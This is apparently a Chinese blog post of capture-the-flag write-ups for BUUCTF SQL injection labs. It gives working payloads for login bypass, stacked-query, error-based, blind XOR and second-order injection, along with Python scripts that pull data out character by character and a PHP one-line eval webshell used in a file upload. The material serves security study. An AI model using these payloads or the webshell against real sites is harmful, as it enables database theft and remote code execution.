BUU-sql

本文最后更新于:1 年前

BUU-sql题记

1.EasySQL-[极客大挑战 2019]

万能密码……

1'or(1=1)#
//get flag 

2.堆叠注入+handler-[强网杯 2019]随便注

ban:

堆叠注入

堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句

堆叠注入原理

在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句

handler

handler 教程:
https://blog.csdn.net/qq_43427482/article/details/109898934

其作用类似于select

handler用法:

打开句柄

handler handler_table open;

查看数据

handler handler_table read first;

handler handler_table read next;

前期准备

查库

0'or 1=1;show databases;#

库:
ctftraining\information_schema\mysql\performance_schema\supersqli\test

查表

0'or 1=1;show tables;#

表:
1919810931114514\words

payload:

1'or(1=1);handler`1919810931114514`open;handler`1919810931114514`read first;

3.猜测后端查询语句-[SUCTF 2019]EasySQL

ban:
“/&/union/and/or/sleep/where/from/like/prepare/if/handler/updatexml/extractvalue/insert/update
Nonono.

@回显 :

这…不太会用

非0数字 如下/数字0 无回显

可用1;show databases#//1;show tables#回显得出库/表,get flag Nonono. …………….

getgetget 大佬博客 !!!

payload1:

 *,1
select *,1||flag from Flag
//即select *---select flag from Flag

payload2:

1;set sql_mode=pipes_as_concat;select 1
select 1;set sql_mode=pipes_as_concat;select 1 ||flag from Flag;

pipes_as_concat 将‘ || ’ 视为字符的操作符

将‘ || ’ 视为字符的操作符而非或运算符

set sql_mode=pipes_as_concat;

select 1 from table

https://www.cnblogs.com/jiechn/p/3979261.html

select任何一个常数都会在表中新建一列,然后查询出那一列的内容。

select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少。

4.基本的sql步骤-[极客大挑战 2019]LoveSQL

查看源码,get 一个check.php
抓包,用一句话万能密码进行尝试

/check.php?username=1&password=1'or(1=1)%23

然后…就过了…

尝试MD5解码失败…回到注入的思路上

寻找注入点:

/check.php?username=1&password=1'union+select+1,2,3%23

Get it

//查库
1'union+select+1,group_concat(database()),3%23
//库:geek

//查表
1'union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema='geek'%23
//表:geekuser,l0ve1ysq1

//直接查表l0ve1ysq1
//查列名
1'union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name='l0ve1ysq1'%23
//列: id,username,password

//查l0ve1ysq1-password的字段值
//查字段值
1'union+select+1,group_concat(password),3+from+l0ve1ysq1%23
//get flag

查找时返回数据时+函数group_concat()~~~
(第一次没加,查geekuser表查半天…)

5.replace()函数过滤+双写绕过-[极客大挑战 2019]BabySQL

继续用万能密码测试:

/check.php?username=1&password=1'or(1=1)%23

好像ban了or,用

/check.php?username=1&password=1'or(1or=1)%23


(这不是同一张图:)
确定,同时确认过滤方式

ban:or/and/select/union/where/from

先进去…

1'oorr(1=1)%23
1'||(1=1)%23

然后…

又长这样… :)

so…

//注入点
1'uniunionon+selecselectt+1,2,3%23

//库
1'uniunionon+selecselectt+1,group_concat(database()),3%23
//get database ---geek

//表
1'ununionion+seleselectct+1,group_concat(table_name),3+frfromom+infoorrmation_schema.tables+wwherehere+table_schema='geek'%23
//get table ---b4bsql/geekuser

//---> b4bsql 列名
1'ununionion+seleselectct+1,group_concat(column_name),3+frfromom+infoorrmation_schema.columns+wwherehere+table_name='b4bsql'%23
//---> b4bsql get columns ---id,username,password

//查找---> b4bsql ---> password
1'ununionion+seleselectct+1,group_concat(passwoorrd),3+frfromom+b4bsql%23
//get flag

6.updatexml报错注入+反向读取sql结果-[极客大挑战 2019]HardSQL

尝试万能密码…ban 了 =
改造一下

username=1&password=1'or(1)%23

login success

测试过滤字符,构造注入语句—

ban
=/!/<>/+/*/union/space/%00/%09/%20/%0a/%0c/sleep/if/substring

ban 了 空格的使用 ,可用()绕过,substring 用left()、right()读取

发现报错注入可用:

//库
1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23
//get database ---geek

//表
1'or(updatexml(1,concat(0x7e,(select`table_name`from(information_schema.tables)where(`table_schema`like'geek')),0x7e),1))%23
//get table  ---H4rDsq1

//列名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(`table_name`like'H4rDsq1'))),1))%23
//--->  id,username,password

//字段
1'or(updatexml(1,concat(0x7e,(select`password`from`H4rDsq1`),0x7e),1))%23
//cat 前半部分flag
1'or(updatexml(1,concat(0x7e,right((select`password`from`H4rDsq1`),30),0x7e),1))%23
//cat 后半部分flag
//--->cat flag

updatexml()报错注入

—>sql-ways

sql反向读取输出数据

7.脑洞题-绕过md5比较+union select构造数据-[GXYCTF2019]BabySQli


嗯…很简洁的界面

抓包,正常测试注入点

name=1&pw=1-----wrong user
name=admin&pw=1-----wrong pass
name=admin&pw=1'or(1=1)#-----wrong pass
name=admin'or(1=1)#&pw=1-----do not hack me!

ok,在pw中的输入全是wrong pass,name值为admin才会验证pw并且在name中存在过滤
所以在name的返回值有两个,T–wrong pass ,F–wrong true

验证想法…

name=admin'and%201#&pw=1-----T->wrong pass
name=admin'and%200#&pw=1-----F->wrong user

尝试盲注2021/7/26 15:05:07 ,构造payload,写脚本

ban :
=/(/)/or/

尝试构造payload:尝试绕过过滤,编码绕过…无效…重审源码…

55555(翻大佬wp)
https://blog.csdn.net/qq_45521281/article/details/107167452

检查源码,抓到search.php,注释中的奇怪字符

先base32后64 解码

name=1'union select 1,'1',3#&pw=1-----wrong user
name=1'union select 'admin',2,3#&pw=1-----wrong user
name=1'union select 1,'admin',3#&pw=1-----wrong pass
name=1'union select 1,2,'admin'#&pw=1-----wrong user

盲猜,id,username,password


(偷图大佬WHOAMIAnony)狗头)

union select 构造数据

https://blog.csdn.net/qq_45521281/article/details/107167452

简单解释就是在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
仅在本次查询中起作用(非固定数据)

即用构造的数据绕过md5检测

payload:

name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

总结一下:
1.仔细检查源码
2.大胆猜测后端语句(还是题做的少…)
3.知识面太窄((:)

8.handler-[GYCTF2020]Blacklist

与’[强网杯 2019]随便注’ 近似

//查库
/?inject=1';show%20databases;
//好像没什么用...

//查表
/?inject=1';show%20tables;
//FlagHere---words

paylaod:

1';handler`FlagHere`open;handler`FlagHere`read%20first;
//get flag

用的是handler代替select读取数据,可能是非预期解法…baidu一下。是预期解 :)

desc 妙用

desc+表名
降序输出该表内的数据表结构

1';desc`FlagHere`;%23

9.二次注入+无列名注入-[SWPU2019]Web1

界面:注册、登录、广告管理主界面、申请添加发布广告、查看广告详情

二次注入点:申请发布广告
二次注入回显:查看广告详情

在发布界面尝试测试注入点 (1’)
在详情界面存在报错,存在二次注入点

尝试构造payload:

1'union/**/select/**/1,2,3'

//确定列数
1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
//get 库 ---> web1

//ban 了or 无法获取表 观摩大佬wp...
//发现是buu环境问题......

//直接get 表 ---> users
//无列名注入
1'union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/`users`)m),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
//get flag

参考文献:https://www.cnblogs.com/wangtanzhi/p/12241499.html

10.异或盲注-[极客大挑战 2019]FinalSQL

尝试用户登录,发现差不多都ban了…注入点应该不在这

5个界面get函数/?id=x

提示SQL盲注,先测试过滤

ban:
*/+/@/&/%/and/union/–+/by/limit/like/char/if/mid/handler/insert

发现异或符号^没ban

^_^

回顾异或注入

0^0=0
1^1=0
0^1=1
1^0=1
//相同为0,不同为1

关键是找到0/1的区分,像该题目

测试输出

1^0—>(id=1对应的界面)

1^1—>

所以构造payload–1^(语句)
通过返回界面的不同来判断该语句的正误

构造payload:

//库
1^(ascii(substr(database(),{},1))={})
//表
1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{},1))={})
//列
1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))={})
//字段
1^(ascii(substr((select(group_concat(`password`))from`F1naI1y`),{},1))={})

直接贴上脚本:

import requests
import time

url = 'url/search.php?id='

## 爆数据库名     ### geek
payload1 = "1^(ascii(substr(database(),{},1))={})"

## 爆表名     ### F1naI1y,Flaaaaag
payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{},1))={})"


## 爆列名     ### F1naI1y--id,username,password     ### Flaaaaag--id,fl4gawsl
payload3 ="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))={})"


## 爆字段     ### fl4gawsl---NO! Not this! Click others~~~,yingyingying~ Not this as well~~,Ohhh You find the flag read on!<br/>Ohhh You find the flag read on!<br/>...
              ### password---flag
payload4 = "1^(ascii(substr((select(group_concat(`password`))from`F1naI1y`),{},1))={})"

catcat = ''
flag = ''

for i in range(0, 10000):
    print('第'+str(i)+'位')
    for j in range(127):
        time.sleep(0.05)                                  ###buu平台存在Too many requests...
        catcat = url+payload4.format(i, j)

        exp = requests.get(url=catcat)
        # print(exp.text)

        if "ERROR" in exp.text:
            flag = flag + chr(j)
            print('--------------------------------------------{}'.format(j))
            print('*****************'+flag)
            break

print('flag is '+flag)

在错误字段Flaaaaag-fl4gawsl中耗费了太多时间…

11.异或盲注-[WUSTCTF2020]颜值成绩查询

尝试字符过滤测试…都没回显

尝试^异或

正常输入 1 

1^0

1^1

所以可以套用上面的脚本,将参数进行稍加修改,跑出flag

import requests
import time

url = 'xxx/?stunum='

## 爆数据库名     ###  ctf
payload1 = "1^(ascii(substr(database(),{},1))={})"

## 爆表名     ###  flag,score
payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))={})"


## 爆列名     ###  flag  flag,value  ###  score
payload3 ="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))={})"


## 爆字段     ### flag---fake flag
         ### value---real flag
payload4 = "1^(ascii(substr((select(group_concat(`value`))from`flag`),{},1))={})"

catcat = ''
flag = ''

for i in range(0, 200):
    print('第'+str(i)+'位')
    for j in range(127):
        time.sleep(0.05)
        catcat = url+payload4.format(i, j)

        exp = requests.get(url=catcat)
        # print(exp.text)

        if "exists" in exp.text:
            flag = flag + chr(j)
            print('--------------------------------------------{}'.format(j))
            print('*****************'+flag)
            break

print("flag is " + flag)

有经验了…以后就不去读flag-flag了… :)

12.奇怪盲注+php短标签-[CISCN2019 总决赛 Day2 Web1]Easyweb

Point:

1.备份文件泄露

2.sql盲注

3.php短标签

登录界面..

审计源码,抓到一个image.php

尝试注入,完全无回显

dirsreach扫一下–>robots.txt

就那么几个php文件…都试一下–image.php.bak

拖下源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);                                                    
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);                  
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

先看下函数addslashes

逻辑:

在预定义字符前+\
ban掉\\0,%00,\,‘
再进行sql查询

sql语句:

select * from images where id='{$id}' or path='{$path}'

在这被ban了...
感觉可以直接用if函数对变量id进行bool注入...

Q:本地都打通了...也不知道为啥这题不行.

(dalaodalao)

利用前面的逻辑,变量id=\\0,这样在经过函数addslashes后,变成\\\0,再经过replace后,变成\,-->id='\'or path=',然后对变量path进行利用


select * from images where id='\' or path='    {$path}'

dalao的注入方法:
select * from images where id='\' or path=' or id=(if(sql,1,0))#'
用path再查id的值,sql T回图片,F回空

my way:
select * from images where id='\' or path=' or (if(sql,1,0))#'
-->
select * from image where (if(sql,1,0))
T-->全部的值,F-->空

(这恒河里)

盲注直接给脚本:

import requests
import time

url = 'http://d1040be0-cefd-4558-8c9a-dc7619ef8d73.node4.buuoj.cn:81/image.php?id=\\0&path='

# 爆数据库名     ### ciscnfinal
payload1 = "or if(ascii(substr(database(),{},1))={},1,0)%23"

# 爆表名        ### images,users
payload2 = "or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))={},1,0)%23"


# 爆列名        ### users          #这里用user无回显...转十六进制
payload3 = "or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))={},1,0)%23"


# 爆字段        ### username,password   ##admin///4f23ff2aa800ca8d84e1
payload4 = "or if(ascii(substr((select group_concat(password) from users),{},1))={},1,0)%23"

catcat = ''
flag = ''


try:
    for i in range(0, 100):
        print('第'+str(i)+'位')
        for j in range(32, 127):
            time.sleep(0.05)
            catcat = url+payload4.format(i, j)

            exp = len(requests.get(url=catcat).content)
            # print(exp.text)

            if exp > 10000:
                flag = flag + chr(j)
                print('--------------------------------------------{}'.format(j))
                print('*****************'+flag)
                break
except:
    time.sleep(0.1)

print("flag is " + flag)

盲注出admin+密码

登录,是个文件上传的样子

审计代码,前端挺干净的,尝试下后端的过滤

先用个一句话文档试试水,

访问该php文件

输出了文件名,尝试将一句话直接改成文件名上传,抓包,改名

php被ban

短标签绕过

—><?=@eval($_POST[‘a’]);>

无回显也就是一句话已经包含在了php文件内

success

连蚁剑,根目录,cat flag

(验证想法)

13.二次注入+报错注入-[RCTF2015]EasySQL

Point:

1.二次注入+报错注入
2.正则匹配regexp()
3.逆向输出reverse()
4.python切片反序输出

注册、登录、用户界面翻阅文章、修改密码

注册界面用户名存在字符过滤

寻找回显位置,在修改密码时发现数据库报错

猜测后端语句:

select * from xxx where username="" and pwd ='d41d8cd98f00b204e9800998ecf8427e';

尝试构造payload

用报错注入updatexml()

//获取表名
//article,flag,users
1"or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

查找flag-flag-flag后,发现是个fake,查找users表

//列名
//users-real_flag_1s_her
1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

real_flag_1s_her列名报错,不存在该列
怀疑未完整输出
尝试正则匹配获取完整列名

//users-real_flag_1s_here
1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#    

尝试获取其中字段

//users-real_flag_1s_here-xxxxxx
1"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

多行数据,未能完整显示,正则匹配数字0-9

//flag{524699ed-cc79-402a-9f4a-24
1"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('[0-9]')),0x7e),1))#

获取了前半部分的flag,因为ban了left、right、mid等常见的位置函数,故使用逆向输出函数reverse()

这里采用了双括号reverse(())将select以及regexp视为一体

//~}c27cb6e9cd42-a4f9-a204-97cc-de
1"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('[0-9]'))),0x7e),1))#

使用python数组反向输出,获取后半端flag

str = '~}c27cb6e9cd42-a4f9-a204-97cc-de'
str = str[::-1]
print(str)

正则函数regexp()

检索符合条件的字符

select()from()where()&&()regexp()
select()from()where(()regexp())

逆向输出reverse()

REVERSE - 返回字符串其字符顺序颠倒。

python 切片操作反序输出

s='xxx'
s=s[::-1]
print s

14.盲注-[CISCN2019 华北赛区 Day2 Web1]Hack World

测被ban字符

尝试注入方式

id=(1)=(1)

id=(1)=(2)

回显不同

//--->if()

构造payload:

//直接查flag-flag的内容
if(ascii(substr((select(flag)from(flag)),1,1))>1,1,2)

改造盲注脚本—>

import requests
import time

url = 'http://5856489a-b75c-485a-b261-7d305316dd16.node4.buuoj.cn:81/index.php'

payload = "if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)"

flag = ''

for i in range(0, 50):
    print("第{}位".format(i))
    for j in range(32, 127):
        cn = {
            'id': payload.format(i, j)
        }
        # print(cn)
        exp = requests.post(url=url, data=cn)
        # print(exp)

        if "glzjin" in exp.text:
            flag = flag + chr(j)
            print('--------------------------------------------{}'.format(j))
            print('*****************' + flag)
            break
        time.sleep(0.1)

15.***-[网鼎杯 2018]Fakebook


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!